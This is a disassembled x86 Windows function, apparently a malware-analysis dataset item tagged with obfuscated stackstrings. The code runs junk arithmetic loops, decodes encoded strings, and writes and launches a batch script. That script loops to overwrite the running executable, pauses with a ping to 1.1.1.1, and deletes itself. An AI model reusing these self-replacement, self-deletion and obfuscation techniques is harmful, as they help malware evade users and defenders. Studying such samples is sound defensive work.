Function at 0x42dd80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c7e79
mov eax, dword fs:[0]
push eax
sub esp, 0x550
mov eax, dword [0x51eee0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x558], ecx
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x248], ax
lea eax, [ebp - 0x246]
push eax
call fcn.004a7560
add esp, 0xc
lea eax, [ebp - 0x248]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x42dfab
mov ebx, dword [0x520340]
mov eax, ebx
imul eax, ebx
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 3
jne 0x42de60
movsd xmm3, qword [0x4d95e8]
movsd xmm6, qword [0x4d95f0]
movsd xmm5, qword [0x4d95e0]
movd xmm4, ebx
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
nop
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x42de4a
subsd xmm2, xmm3
divsd xmm3, xmm6
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm5
ja 0x42de30
lea eax, [ebx + 1]
imul eax, ebx
cdq
mov ecx, 0x14
idiv ecx
cmp edx, 0x11
jne 0x42de84
xor esi, esi
mov edi, ebx
lea ecx, [ebx + esi]
inc esi
dec edi
cmp esi, 0xb9
jb 0x42de77
push ecx
mov ecx, esp
push str.a295809c919395a49895b197959e84afb79584bd9f94859c95b6999c95be919d95af
call fcn.00401ff0
lea eax, [ebp - 0x530]
push eax
call fcn.0044f6d0
add esp, 8
mov esi, eax
mov edx, dword [0x51eab0]
mov ecx, 0x51eab0
mov dword [ebp - 4], 0
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x540], eax
push esi
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x538]
push eax
mov byte [ebp - 4], 1
call fcn.0043e000
add esp, 0xc
mov ecx, dword [ebp - 0x558]
push eax
mov byte [ebp - 4], 2
call fcn.0042f540
mov edx, dword [ebp - 0x538]
add edx, 0xfffffff0
or edi, 0xffffffff
mov byte [ebp - 4], 1
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x42df11
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x540]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42df34
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x530]
add edx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x42df58
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.004301b0
test al, al
jne 0x42e670
mov esi, dword [0x520340]
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx, ecx, 0x64
sub esi, ecx
xor ecx, ecx
lea eax, [esi + 0x141]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004a5340
push eax
call fcn.004a7190
add esp, 8
jmp 0x42e670
mov eax, dword [0x51eab0]
mov ecx, 0x51eab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x534], eax
push esi
lea eax, [ebp - 0x538]
push str._echo_off_r_nIF_NOT____XIST__
push eax
mov dword [ebp - 4], 3
call fcn.0040b800
push str.__GOTO____ND_r_nS___T__a_i0_r_n
push eax
lea eax, [ebp - 0x530]
push eax
mov byte [ebp - 4], 4
call fcn.0040b720
add esp, 0x18
mov eax, dword [eax]
lea ecx, [ebp - 0x534]
push dword [eax - 0xc]
mov byte [ebp - 4], 5
push eax
call fcn.0040b980
mov edx, dword [ebp - 0x530]
add edx, 0xfffffff0
or edi, 0xffffffff
mov byte [ebp - 4], 4
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x42e02e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x538]
add edx, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e051
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.:LOOP_r_nIF__i_
lea ecx, [ebp - 0x538]
call fcn.00401ff0
push str.100_GOTO____ND_r_n
push eax
lea eax, [ebp - 0x530]
push eax
mov byte [ebp - 4], 6
call fcn.0040b720
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x534]
push dword [eax - 0xc]
mov byte [ebp - 4], 7
push eax
call fcn.0040b980
mov edx, dword [ebp - 0x530]
add edx, 0xfffffff0
mov byte [ebp - 4], 6
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e0b2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x538]
add edx, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e0d5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
lea eax, [ebp - 0x53c]
push str.MOV_____Y__
push eax
call fcn.0040b800
push 0x4dd10c
push eax
lea eax, [ebp - 0x540]
push eax
mov byte [ebp - 4], 8
call fcn.0040b720
lea ecx, [ebp - 0x248]
push ecx
push eax
lea eax, [ebp - 0x538]
push eax
mov byte [ebp - 4], 9
call fcn.0040b720
push 0x4dd104
push eax
lea eax, [ebp - 0x530]
push eax
mov byte [ebp - 4], 0xa
call fcn.0040b720
add esp, 0x30
mov eax, dword [eax]
lea ecx, [ebp - 0x534]
push dword [eax - 0xc]
mov byte [ebp - 4], 0xb
push eax
call fcn.0040b980
mov edx, dword [ebp - 0x530]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xa
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e166
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x538]
add edx, 0xfffffff0
mov byte [ebp - 4], 9
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e189
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x540]
add edx, 0xfffffff0
mov byte [ebp - 4], 8
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e1ac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x53c]
add edx, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e1cf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
lea eax, [ebp - 0x530]
push str.IF_NOT____XIST__
push eax
call fcn.0040b800
push str.__GOTO____ND_r_n
push eax
lea eax, [ebp - 0x53c]
push eax
mov byte [ebp - 4], 0xc
call fcn.0040b720
add esp, 0x18
mov eax, dword [eax]
lea ecx, [ebp - 0x534]
push dword [eax - 0xc]
mov byte [ebp - 4], 0xd
push eax
call fcn.0040b980
mov edx, dword [ebp - 0x53c]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xc
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e232
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x530]
add edx, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e255
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x34
push str.ping_1.1.1.1__n_1__w_1000___nul_r_nS___T__a_i_i_1
lea ecx, [ebp - 0x534]
call fcn.0040b980
lea ecx, [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0x40], 0xa000d
mov dword [ebp - 0x3c], 0x4f0047
mov dword [ebp - 0x38], 0x4f0054
mov dword [ebp - 0x34], 0x4c0020
mov dword [ebp - 0x30], 0x4f004f
mov dword [ebp - 0x2c], 0xd0050
mov dword [ebp - 0x28], 0x3a000a
mov dword [ebp - 0x24], 0x4e0045
mov dword [ebp - 0x20], 0xd0044
mov dword [ebp - 0x1c], 0x44000a
mov dword [ebp - 0x18], 0x4c0045
mov word [ebp - 0x14], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42e2c0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x534]
call fcn.0040b980
push 5
push str.__0_r_n
lea ecx, [ebp - 0x534]
call fcn.0040b980
lea eax, [ebp - 0x534]
push eax
lea eax, [ebp - 0x53c]
push eax
call fcn.00450020
add esp, 8
push eax
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 0xe
call fcn.00402af0
mov edx, dword [ebp - 0x53c]
add edx, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e33a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x530]
push eax
call fcn.0044f130
push eax
lea eax, [ebp - 0x53c]
push ebx
push eax
mov byte [ebp - 4], 0xf
call fcn.0040b660
push str..bat
push eax
lea eax, [ebp - 0x550]
push eax
mov byte [ebp - 4], 0x10
call fcn.0040b720
add esp, 0x1c
mov edx, dword [ebp - 0x53c]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x12
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e394
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x530]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x13
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e3b7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x51eab0]
mov ecx, 0x51eab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x544], eax
mov eax, dword [0x51eab0]
mov ecx, 0x51eab0
mov byte [ebp - 4], 0x14
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x554], eax
lea eax, [ebp - 0x554]
push eax
lea eax, [ebp - 0x534]
push eax
mov byte [ebp - 4], 0x15
call fcn.0044feb0
lea eax, [ebp - 0x554]
push eax
lea eax, [ebp - 0x550]
push eax
call fcn.00434d50
add esp, 0x10
test al, al
je 0x42e50d
push ecx
mov ecx, esp
mov dword [ebp - 0x54c], esp
push 0x4d8e30
call fcn.00401ff0
mov eax, dword [ebp - 0x550]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov byte [ebp - 4], 0x16
call fcn.00404840
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [ebp - 4], 0x15
call fcn.00450100
add esp, 8
test al, al
jne 0x42e5e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x548]
push eax
call fcn.0043e100
add esp, 8
push eax
push ecx
mov ecx, esp
push str.a295809c919395a49895b197959e84afa2859eb58895af
mov byte [ebp - 4], 0x17
call fcn.00401ff0
lea eax, [ebp - 0x540]
push eax
call fcn.0044f6d0
add esp, 8
push eax
lea eax, [ebp - 0x538]
push eax
mov byte [ebp - 4], 0x18
call fcn.0043e000
add esp, 0xc
push eax
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 0x19
call fcn.00402af0
mov edx, dword [ebp - 0x538]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x18
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e4df
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x540]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x17
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e502
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x548]
jmp 0x42e5b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x54c]
push eax
call fcn.0043e100
add esp, 8
push eax
push ecx
mov ecx, esp
push str.a295809c919395a49895b197959e84afaf87969f80959eaf83af
mov byte [ebp - 4], 0x1a
call fcn.00401ff0
lea eax, [ebp - 0x55c]
push eax
call fcn.0044f6d0
add esp, 8
push eax
lea eax, [ebp - 0x548]
push eax
mov byte [ebp - 4], 0x1b
call fcn.0043e000
add esp, 0xc
push eax
lea ecx, [ebp - 0x544]
mov byte [ebp - 4], 0x1c
call fcn.00402af0
mov edx, dword [ebp - 0x548]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x1b
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e58b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x55c]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x1a
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e5ae
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
mov byte [ebp - 4], 0x15
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e5d1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x558]
lea eax, [ebp - 0x544]
push eax
call fcn.0042f540
mov edx, dword [ebp - 0x554]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x14
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e606
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x544]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x13
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e629
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x550]
add edx, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x42e64c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x534]
add edx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x42e670
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a63c4
mov esp, ebp
pop ebp
ret 8